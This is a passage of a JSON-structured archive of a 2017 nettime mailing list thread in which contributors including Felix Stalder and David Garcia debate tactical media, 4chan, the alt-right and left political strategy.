                                        "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                        "id": "00016",
                                        "date": "Sat, 8 Jul 2017 14:38:44 -0400",
                                        "to": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                                        "message-id": "CAM&#45;xAVbP2gjW4pW6cZOYWbN7fhm5nbHVfi9fBUMnNmBAPJyV_w {AT} mail.gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00016.html",
                                        "content-type": "multipart/mixed",
                                        "author_name": "Ian Alan Paul",
                                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                                    },
                                    {
                                        "from": "Morlock Elloi <morlockelloi {AT} gmail.com>",
                                        "content": "\n",
                                        "id": "00017",
                                        "date": "Sat, 08 Jul 2017 14:25:29 -0700",
                                        "to": "nettime-l {AT} mail.kein.org",
                                        "message-id": "59614DC9.3070205 {AT} gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00017.html",
                                        "content-type": "text/plai",
                                        "author_name": "Morlock Elloi",
                                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                                    }
                                ],
                                "from": "lincoln dahlberg <l.j.dahlberg {AT} xtra.co.nz>",
                                "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                "id": "00011",
                                "date": "Sun, 9 Jul 2017 00:39:03 +1200 (NZST)",
                                "to": "nettime-l {AT} mail.kein.org, bhcontinentaldrift {AT} gmail.com",
                                "message-id": "688456291.353837.1499517543613 {AT} webmail.xtra.co.nz",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00011.html",
                                "content-type": "multipart/mixed",
                                "author_name": "lincoln dahlberg",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            },
                            {
                                "id": "00018",
                                "content": "On 2017-07-08 10:53, Brian Holmes wrote:\n\n> These lines, while pitched at Milo and the young sexy neofascists, \n> describe a lot of the cultural pranks we used to celebrate in the \n> festival circuits emanating out from Amsterdam. The big difference\n> is that until very recently, the world was stable and the pranks\n> were inconsequential. Now the ways that such nihilism feeds monsters\n> have become all too obvious. The style of paranoid critique that many\n> of us in the theory-world practiced is complicit in these devastating\n> outcomes, because no matter how bad things may be, it is one's\n> responsibility to seek for possible ameliorations of the common lot\n> - by which I mean something much more widely shared than the rarified\n> concept of \"the commons.\" \n\nLooking back, the shortcomings of the approaches \"emanating out of\nAmsterdam\", say tactical media in particular and, but the cultural/media\nleft more generally, seem to be twofold, in my view.\n\nFirst, while the intuition about the necessity to interrupt the normal\nflows of communication was correct and has proofed to be very powerful\nsince, there was no idea what do in the space that would thus be opened\nup. We could have used the time when the system was relatively stable to\nthink about this, but we didn't. Now, the the system is falling apart,\nthe far right is capable of imposing an even darker version of disaster\ncapitalism.\n\nSecond, both the actions and the theories remained absolutely insular.\nWhat passes as cultural/media theory still delights in jargon and\nobscurantism. Or, in offering hypercritical takes that create no opening\n(like Florian's erudite but otherwise baffling piece on public domain).\n\nThere has been very little interest in offering points of translation,\nthat is, to think about how people who are not in the same circuit could\nappropriate and transform for their own use, the insights they find in\nthe theoretical perspective one offers.\n\nFor me, however, the concepts of the commons still remains useful. For\none, it at least points to a new social settlement, that is, towards\nwhat might fill the void of the break-down of the old order. Second, it\nhas a certain resonance where I stand, thus it can lead unusual\nalliances. And, third, it's vague enough a concept so that many\ndifferent strands of thinking might come into contact under this\numbrella and it does have a lot of potential to be appropriated by\ndifferent actors, not the least in the context of radical urban social\nmovements.\n\nFelix\n\nPS: This focus on the meme-culture of the alt-right makes it seems like\nthe import of ideas/tactics always goes from left to right. It has the\nwhiny undertones of an inventor who sees his idea commercialized by\nothers. But that's incorrect. If you look at what happens with the\n\"Indivisible Movement\", they every clearly and openly copy tactics of\nthe tea party movement, namely to give senators and representatives hell\nat town hall meetings, where the politicians face the people\nface-to-face. And at the moment, its seems fairly successful eroding the\nmajority for the repeal of Obama care.\n\n\n\n-- \n\n ||||||||||||||||||||||||||||||||| http://felix.openflows.com\n |OPEN PGP:  https://pgp.mit.edu/pks/lookup?search=0x0C9FF2AC\n\n",
                                "to": "nettime-l {AT} mail.kein.org",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00018.html",
                                "list": "nettime_l",
                                "author_name": "Felix Stalder",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur",
                                "from": "elix Stalder <felix {AT} openflows.com>",
                                "follow-up": [
                                    {
                                        "from": "Keith Hart <keith {AT} thememorybank.co.uk>",
                                        "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                        "id": "00019",
                                        "date": "Sun, 9 Jul 2017 08:23:01 +0200",
                                        "to": "Felix Stalder <felix {AT} openflows.com>",
                                        "message-id": "CAF32U9HwaLS=+Uag&#45;XF1UPCBWe97fx8OGuTxRF59HhX6h6gPEw {AT} mail.gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00019.html",
                                        "content-type": "multipart/mixed",
                                        "author_name": "Keith Hart",
                                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                                    },
                                    {
                                        "from": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                                        "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                        "id": "00020",
                                        "date": "Mon, 10 Jul 2017 01:27:50 -0500",
                                        "to": "Keith Hart <keith {AT} thememorybank.co.uk>",
                                        "message-id": "CANuiTgxMHz3A3yesUEeveyWMTySdNg6TV&#45;VtLZ4dbS+_Ek4QnA {AT} mail.gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00020.html",
                                        "content-type": "multipart/mixed",
                                        "author_name": "Brian Holmes",
                                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                                    },
                                    {
                                        "from": "David Garcia <d.garcia {AT} new-tactical-research.co.uk>",
                                        "content": "Felix Stalder wrote..\n\n> \n> Looking back, the shortcomings of the approaches \"emanating out of\n> Amsterdam\", say tactical media in particular and, but the cultural/media\n> left more generally, seem to be twofold, in my view.\n> \n> First, while the intuition about the necessity to interrupt the normal\n> flows of communication was correct and has proofed to be very powerful\n> since, there was no idea what do in the space that would thus be opened\n> up. We could have used the time when the system was relatively stable to\n> think about this, but we didn't. Now, the the system is falling apart,\n> the far right is capable of imposing an even darker version of disaster\n> capitalism.\n\n> There has been very little interest in offering points of translation,\n\n> that is, to think about how people who are not in the same circuit could\n> appropriate and transform for their own use, the insights they find in\n> the theoretical perspective one offers.\n\n\nI am trying to get a sense of what is really at stake in these discussions.. what the underlying \ncontinuities as well as big changes that make these questions of counter-cultures and the new\nautonomous zones of message boards and meme wars seem important rather than a trivial \nside show. \n\nThe big change from the 1990s is the way internet and digital cultures (in large areas of the world)\nare now fully inserted into and thus inseparable from daily life. The full impact of the web 2.0 revolution \nand the rise of the platform era is quite simply the -mainstreaming- of digital cultures. \n\nIn this context it is nonsense to see work on the political, cultural and epistemic impact of these changes \nas a marginal obsession of -a self-selecting group geeks.. the continued development of earlier agendas \nof the cypher punks around anonymity, surveillance, autonomy, and agency as a necessity for creating \nwider progressive change has increased not decreased in urgency. Digital cultures have become quite simply a\n-Total Social Fact- [Noortje Maares-Digital Sociology]. \n\nThis -insertiability- of the digital cultures into all aspects of life is the foundation for both the success of these \nplatforms and devices as well as the basis of monopolistically inclined business models that Nick Srnicek \nhas called platform capitalism in active combination with the surveillance state. \n\nComing to grips with this problem is more subtle than it is sometimes portrayed. The tricky point lies in understanding\nthat what constitutes actual participation and what differentiates these cultures from all that preceded it. \n\nParticipation is not as it is sometimes portrayed -the difference between -the passive audience \nand the active engaged participants or users-. No, a traditional audience (or public) can be as active and \nhighly engaged as anyone else. The key point of difference is that engagement in the case of an -audience- \nis invisible. The engagement of an audience is invisible because it is not -traceable-. And without traceability  \nthere can be no -feedback-. No feedback means no participation. \n\nThis was de Certeau\u2019s observation long ago and why he saw consumption as invisible co-creation with an asymmetric \nbalance of power. And observed the presence of silent invisible networks of resistance that he called tactical.\n\nIt is this necessary traceability on which participation depends that has been opportunistically seized upon as the \nbusiness models and the new forms of exploitation and value extraction we know as platform capitalism which when combined \nwith state surveillance squats like a toad atop of what could still become a post capitalist culture of contribution. \n\nThe -insertion- of this model of digital cultures into the everyday life accounts for both its success and also sub-cultural \nresistance that demands the right to anonymity and the need for unregulated spaces. It is the need for these spaces that \naccounts for the huge popularity of message bodes like 4chan where registration is not required and anonymity is an expedient \nthat morphed into an ethos and then into a movement whose potential has only begun. \n\nBack in 2012 Gabriella Coleman wrote a journal article reflecting on the research she had been doing since 2008 \non the formative role of 4chan's random page in the emergence of Anonymous in which she asks -how has the anarchic \nhate machine of (Fox News\u2019s epithet for Anonymous) been transformed into one of the most adroit and effective political \noperations of recent times ? - Now in 2017 we need to invert the question and ask how did the platform that gave rise to \n-the most adroit and effective political operation- spawned the even more adroit and effective operation Alt.right ? And \nmore pertinently why was this once progressive domain ceded so much to the right.. why was there not a more effective \nfightback. why no equally powerful alt.left?   \n  \nThe white supremacist trolls and nazi meme warriors may have had an exaggerated belief in their own influence but \nthough exaggerated was and remans far from negligible. Trump\u2019s recent speech in Poland on the battle for Western \nCivilisation has Bannon\u2019s Alt.right finger prints all over it. He may be less visible these days but his influence in the White \nHouse remains undimmed.  \n\nWhether as Anonymous or Alt.right the unregulated autonomous zones of message boards \nrepresent the revenge of what some on the left previously dismissed as folk politics. Far from being \neither an impotent side show or the property any particular set of political affiliations these spaces represent \na new front line in the battle for the social mind. As Florian Cramer pointed out in a recent panel that there are \nparallels here with Punk which although often associated in the UK and beyond with the anarchist left in Germany\nthere was a strong constituency of neo-nazi punk.   \n\nFelix Stalder wrote    \n\n> import of ideas/tactics always goes from left to right. It has the\n> whiny undertones of an inventor who sees his idea commercialized by\n> others. But that's incorrect. If you look at what happens with the\n> \"Indivisible Movement\", they every clearly and openly copy tactics of\n> the tea party movement, \n\n\nYes agreed- And one of the most important lessons is to be unafraid of power and to be willing to re-occupy \ntraditional political parties but in new ways. \n\nAlthough it has not figured much in these discussions the UK Labour party\u2019s successful campaign combined with the \nMomentum the organisation in support of the Corbyn agenda operating outside of the formal party structures and making \nfantastic use of independant media outlets. \n\nOther nettime regulars such as Richard Barbrook who were actively campaigning would be \nfar better than I am to illuminate this picture. \n\nBut from the outside the campaign seems to have taken many lessons from the US grass roindependantot\u2019s media activism \ncombining new forms of campaigning, Turning rallies into media events. Not cosying up to mainstream \nmedia but attacking them all appears straight out of the Trump play book of Let Corbyn be Corbyn \n\nIts easy too write off work around art, media and politics in the words of Jodie Dean -communicative \ncapitalism\u2019s perfect lure- a self deluding sideshow, unconnected to the disciplines of real political \norganising. But whatever else the Alt.right demonstrated that in politics *culture* particularly \nsub-cultures still matter. And that Bretitbart\u2019s famous aphorism energetically adopted by Bannon\u2019s meme team \nthat: -politics is down-stream from culture- is a message that the far right learned well which some on the left \noverlooked as they were anxious to move on from the DIY media practices dismissed by some as -folk politics-. \n\nAgain from the outside, Momentum have been stupidly misrepresented as a throw back \nTrotskyist entryism of the 1970s. But Corbyn himself represent a very different approach \nto what leadership is.  Part of Corbyn\u2019s very contemporary appeal is he appears as a reluctant \nleader. Uncomfortable with the trappings of power. His clear discomfort with the normal \nlogic of power brings his approach closer to what Paolo Gerbaudo has called the \u201cemotional \nchoreography\u201d of the reluctant leaders of Occupy.\n\nI remember a discussion along while back at the LSE  with Paul Mason in a conversation with Manuel Castells \nwhere Mason declared would be inconceivable for any politician today could openly declare as Labour Party's Shawcross \nnotoriously did when Labour won power in 1945 that -We are the masters now- For whatever reason people don\u2019t want \nmasters .. People don\u2019t trust traditional forms of leadership anymore.. \n\nBut in the same conversation they discussed the fact that major social and political change takes time to unfold it can be \nglacial (then sudden). Castells pointed out how -it took 20-30 years from the arrival of mass industrialisation to the \npoint when union power and the labour movement became political institutions [\u2026] its long journey from the minds of \npeople to the institutions of society-.  I know.. I know.. we don\u2019t have that long.\n\n\n-----------------------------------------------\n\nd a v i d  g a r c i a\nBournemouth University\nd.garcia {AT} new-tactical-research.co.uk\nhttp://new-tactical-research.co.uk\nhttp://www.tacticalmediafiles.net\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n",
                                        "id": "00022",
                                        "date": "Mon, 10 Jul 2017 12:20:05 +0100",
                                        "to": "Felix Stalder <felix {AT} openflows.com>",
                                        "message-id": "C234517A&#45;1F68&#45;4856&#45;B0CD&#45;315652B8CBBF {AT} new&#45;tactical&#45;research.co.uk",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00022.html",
                                        "content-type": "text/plai",
                                        "author_name": "David Garcia",
                                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                                    }
                                ],
                                "message-id": "ba7cccfe&#45;4885&#45;b935&#45;62f7&#45;1cbc8775599e {AT} openflows.com",
                                "date": "Sat, 8 Jul 2017 23:47:05 +0200",
                                "content-type": "multipart/mixed"
                            },
                            {
                                "from": "Ian Alan Paul <ianalanpaul {AT} gmail.com>",
                                "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                "id": "00012",
                                "date": "Sat, 8 Jul 2017 10:27:00 -0400",
                                "to": "lincoln dahlberg <l.j.dahlberg {AT} xtra.co.nz>",
                                "message-id": "CAM&#45;xAVZE_e8NENxbDdPVcQOb4ufWshkPCDfpyNZZ+YVc0dUEVw {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00012.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Ian Alan Paul",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            },
                            {
                                "from": "Joseph Rabie <joe {AT} overmydeadbody.org>",
                                "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                "id": "00014",
                                "date": "Sat, 8 Jul 2017 17:29:20 +0200",
                                "to": "nettime-l {AT} mail.kein.org",
                                "message-id": "DB4DAAE6&#45;9A3F&#45;4F12&#45;9E21&#45;7B4FB49B1688 {AT} overmydeadbody.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00014.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Joseph Rabie",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            },
                            {
                                "from": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                                "content": "On 07/08/2017 07:39 AM, lincoln dahlberg wrote:\n",
                                "id": "00015",
                                "date": "Sat, 8 Jul 2017 12:39:14 -0500",
                                "to": "nettime-l {AT} mail.kein.org",
                                "message-id": "b1fd9ff0&#45;00ff&#45;b653&#45;71ed&#45;78d57692fac5 {AT} gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00015.html",
                                "content-type": "text/plai",
                                "author_name": "Brian Holmes",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            },
                            {
                                "from": "Ian Alan Paul <ianalanpaul {AT} gmail.com>",
                                "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                "id": "00016",
                                "date": "Sat, 8 Jul 2017 14:38:44 -0400",
                                "to": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                                "message-id": "CAM&#45;xAVbP2gjW4pW6cZOYWbN7fhm5nbHVfi9fBUMnNmBAPJyV_w {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00016.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Ian Alan Paul",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            },
                            {
                                "from": "Morlock Elloi <morlockelloi {AT} gmail.com>",
                                "content": "\n",
                                "id": "00017",
                                "date": "Sat, 08 Jul 2017 14:25:29 -0700",
                                "to": "nettime-l {AT} mail.kein.org",
                                "message-id": "59614DC9.3070205 {AT} gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00017.html",
                                "content-type": "text/plai",
                                "author_name": "Morlock Elloi",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            },
                            {
                                "from": "Keith Hart <keith {AT} thememorybank.co.uk>",
                                "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                "id": "00019",
                                "date": "Sun, 9 Jul 2017 08:23:01 +0200",
                                "to": "Felix Stalder <felix {AT} openflows.com>",
                                "message-id": "CAF32U9HwaLS=+Uag&#45;XF1UPCBWe97fx8OGuTxRF59HhX6h6gPEw {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00019.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Keith Hart",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            },
                            {
                                "from": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                                "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                "id": "00020",
                                "date": "Mon, 10 Jul 2017 01:27:50 -0500",
                                "to": "Keith Hart <keith {AT} thememorybank.co.uk>",
                                "message-id": "CANuiTgxMHz3A3yesUEeveyWMTySdNg6TV&#45;VtLZ4dbS+_Ek4QnA {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00020.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Brian Holmes",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            },
                            {
                                "from": "David Garcia <d.garcia {AT} new-tactical-research.co.uk>",
                                "content": "Felix Stalder wrote..\n\n> \n> Looking back, the shortcomings of the approaches \"emanating out of\n> Amsterdam\", say tactical media in particular and, but the cultural/media\n> left more generally, seem to be twofold, in my view.\n> \n> First, while the intuition about the necessity to interrupt the normal\n> flows of communication was correct and has proofed to be very powerful\n> since, there was no idea what do in the space that would thus be opened\n> up. We could have used the time when the system was relatively stable to\n> think about this, but we didn't. Now, the the system is falling apart,\n> the far right is capable of imposing an even darker version of disaster\n> capitalism.\n\n> There has been very little interest in offering points of translation,\n\n> that is, to think about how people who are not in the same circuit could\n> appropriate and transform for their own use, the insights they find in\n> the theoretical perspective one offers.\n\n\nI am trying to get a sense of what is really at stake in these discussions.. what the underlying \ncontinuities as well as big changes that make these questions of counter-cultures and the new\nautonomous zones of message boards and meme wars seem important rather than a trivial \nside show. \n\nThe big change from the 1990s is the way internet and digital cultures (in large areas of the world)\nare now fully inserted into and thus inseparable from daily life. The full impact of the web 2.0 revolution \nand the rise of the platform era is quite simply the -mainstreaming- of digital cultures. \n\nIn this context it is nonsense to see work on the political, cultural and epistemic impact of these changes \nas a marginal obsession of -a self-selecting group geeks.. the continued development of earlier agendas \nof the cypher punks around anonymity, surveillance, autonomy, and agency as a necessity for creating \nwider progressive change has increased not decreased in urgency. Digital cultures have become quite simply a\n-Total Social Fact- [Noortje Maares-Digital Sociology]. \n\nThis -insertiability- of the digital cultures into all aspects of life is the foundation for both the success of these \nplatforms and devices as well as the basis of monopolistically inclined business models that Nick Srnicek \nhas called platform capitalism in active combination with the surveillance state. \n\nComing to grips with this problem is more subtle than it is sometimes portrayed. The tricky point lies in understanding\nthat what constitutes actual participation and what differentiates these cultures from all that preceded it. \n\nParticipation is not as it is sometimes portrayed -the difference between -the passive audience \nand the active engaged participants or users-. No, a traditional audience (or public) can be as active and \nhighly engaged as anyone else. The key point of difference is that engagement in the case of an -audience- \nis invisible. The engagement of an audience is invisible because it is not -traceable-. And without traceability  \nthere can be no -feedback-. No feedback means no participation. \n\nThis was de Certeau\u2019s observation long ago and why he saw consumption as invisible co-creation with an asymmetric \nbalance of power. And observed the presence of silent invisible networks of resistance that he called tactical.\n\nIt is this necessary traceability on which participation depends that has been opportunistically seized upon as the \nbusiness models and the new forms of exploitation and value extraction we know as platform capitalism which when combined \nwith state surveillance squats like a toad atop of what could still become a post capitalist culture of contribution. \n\nThe -insertion- of this model of digital cultures into the everyday life accounts for both its success and also sub-cultural \nresistance that demands the right to anonymity and the need for unregulated spaces. It is the need for these spaces that \naccounts for the huge popularity of message bodes like 4chan where registration is not required and anonymity is an expedient \nthat morphed into an ethos and then into a movement whose potential has only begun. \n\nBack in 2012 Gabriella Coleman wrote a journal article reflecting on the research she had been doing since 2008 \non the formative role of 4chan's random page in the emergence of Anonymous in which she asks -how has the anarchic \nhate machine of (Fox News\u2019s epithet for Anonymous) been transformed into one of the most adroit and effective political \noperations of recent times ? - Now in 2017 we need to invert the question and ask how did the platform that gave rise to \n-the most adroit and effective political operation- spawned the even more adroit and effective operation Alt.right ? And \nmore pertinently why was this once progressive domain ceded so much to the right.. why was there not a more effective \nfightback. why no equally powerful alt.left?   \n  \nThe white supremacist trolls and nazi meme warriors may have had an exaggerated belief in their own influence but \nthough exaggerated was and remans far from negligible. Trump\u2019s recent speech in Poland on the battle for Western \nCivilisation has Bannon\u2019s Alt.right finger prints all over it. He may be less visible these days but his influence in the White \nHouse remains undimmed.  \n\nWhether as Anonymous or Alt.right the unregulated autonomous zones of message boards \nrepresent the revenge of what some on the left previously dismissed as folk politics. Far from being \neither an impotent side show or the property any particular set of political affiliations these spaces represent \na new front line in the battle for the social mind. As Florian Cramer pointed out in a recent panel that there are \nparallels here with Punk which although often associated in the UK and beyond with the anarchist left in Germany\nthere was a strong constituency of neo-nazi punk.   \n\nFelix Stalder wrote    \n\n> import of ideas/tactics always goes from left to right. It has the\n> whiny undertones of an inventor who sees his idea commercialized by\n> others. But that's incorrect. If you look at what happens with the\n> \"Indivisible Movement\", they every clearly and openly copy tactics of\n> the tea party movement, \n\n\nYes agreed- And one of the most important lessons is to be unafraid of power and to be willing to re-occupy \ntraditional political parties but in new ways. \n\nAlthough it has not figured much in these discussions the UK Labour party\u2019s successful campaign combined with the \nMomentum the organisation in support of the Corbyn agenda operating outside of the formal party structures and making \nfantastic use of independant media outlets. \n\nOther nettime regulars such as Richard Barbrook who were actively campaigning would be \nfar better than I am to illuminate this picture. \n\nBut from the outside the campaign seems to have taken many lessons from the US grass roindependantot\u2019s media activism \ncombining new forms of campaigning, Turning rallies into media events. Not cosying up to mainstream \nmedia but attacking them all appears straight out of the Trump play book of Let Corbyn be Corbyn \n\nIts easy too write off work around art, media and politics in the words of Jodie Dean -communicative \ncapitalism\u2019s perfect lure- a self deluding sideshow, unconnected to the disciplines of real political \norganising. But whatever else the Alt.right demonstrated that in politics *culture* particularly \nsub-cultures still matter. And that Bretitbart\u2019s famous aphorism energetically adopted by Bannon\u2019s meme team \nthat: -politics is down-stream from culture- is a message that the far right learned well which some on the left \noverlooked as they were anxious to move on from the DIY media practices dismissed by some as -folk politics-. \n\nAgain from the outside, Momentum have been stupidly misrepresented as a throw back \nTrotskyist entryism of the 1970s. But Corbyn himself represent a very different approach \nto what leadership is.  Part of Corbyn\u2019s very contemporary appeal is he appears as a reluctant \nleader. Uncomfortable with the trappings of power. His clear discomfort with the normal \nlogic of power brings his approach closer to what Paolo Gerbaudo has called the \u201cemotional \nchoreography\u201d of the reluctant leaders of Occupy.\n\nI remember a discussion along while back at the LSE  with Paul Mason in a conversation with Manuel Castells \nwhere Mason declared would be inconceivable for any politician today could openly declare as Labour Party's Shawcross \nnotoriously did when Labour won power in 1945 that -We are the masters now- For whatever reason people don\u2019t want \nmasters .. People don\u2019t trust traditional forms of leadership anymore.. \n\nBut in the same conversation they discussed the fact that major social and political change takes time to unfold it can be \nglacial (then sudden). Castells pointed out how -it took 20-30 years from the arrival of mass industrialisation to the \npoint when union power and the labour movement became political institutions [\u2026] its long journey from the minds of \npeople to the institutions of society-.  I know.. I know.. we don\u2019t have that long.\n\n\n-----------------------------------------------\n\nd a v i d  g a r c i a\nBournemouth University\nd.garcia {AT} new-tactical-research.co.uk\nhttp://new-tactical-research.co.uk\nhttp://www.tacticalmediafiles.net\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n",
                                "id": "00022",
                                "date": "Mon, 10 Jul 2017 12:20:05 +0100",
                                "to": "Felix Stalder <felix {AT} openflows.com>",
                                "message-id": "C234517A&#45;1F68&#45;4856&#45;B0CD&#45;315652B8CBBF {AT} new&#45;tactical&#45;research.co.uk",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00022.html",
                                "content-type": "text/plai",
                                "author_name": "David Garcia",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            }
                        ],
                        "from": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                        "content": "\n",
                        "id": "00009",
                        "date": "Sat, 8 Jul 2017 03:53:32 -0500",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "efb58253&#45;0b9b&#45;7d40&#45;0e89&#45;25dd3547734b {AT} gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00009.html",
                        "content-type": "text/plai",
                        "author_name": "Brian Holmes",
                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                    },
                    {
                        "from": "Alexander Bard <bardissimo {AT} gmail.com>",
                        "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                        "id": "00021",
                        "date": "Mon, 10 Jul 2017 10:49:42 +0200",
                        "to": "Nettime <nettime-l {AT} kein.org>",
                        "message-id": "CAPgYmjWjapdDqTpVy11gUQiiD9cUcTjGxkfUWKEoFVOLvOYCiQ {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00021.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Alexander Bard",
                        "subject": "<nettime> The alt-right and the death of countercultur"
                    },
                    {
                        "from": "Jonathan Marshall <Jonathan.Marshall {AT} uts.edu.au>",
                        "content": ">As Nagle writes: \u2018When we\u2019ve\n> reached a point where the idea of being edgy/counter-cultural/transgressive\n> can place fascists in a position of moral superiority to regular people, we\n> may seriously want to rethink the value of these stale and outworn\n> countercultural ideals.\u2019\n\nSorry Fascists have always considered themselves to be in a position of moral superiority to ordinary people.\n\nThat is part of its attraction. It allows smug violence in the name of moral superiority against weak and decadent people who are betraying the valued race or nation. \n\njon\n\n\nUTS CRICOS Provider Code: 00099F\nDISCLAIMER: This email message and any accompanying attachments may contain confidential information.\nIf you are not the intended recipient, do not read, use, disseminate, distribute or copy this message or\nattachments. If you have received this message in error, please notify the sender immediately and delete\nthis message. Any views expressed in this message are those of the individual sender, except where the\nsender expressly, and with authority, states them to be the views of the University of Technology Sydney.\nBefore opening any attachments, please check them for viruses and defects.\n\nThink. Green. Do.\n\nPlease consider the environment before printing this email.\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: 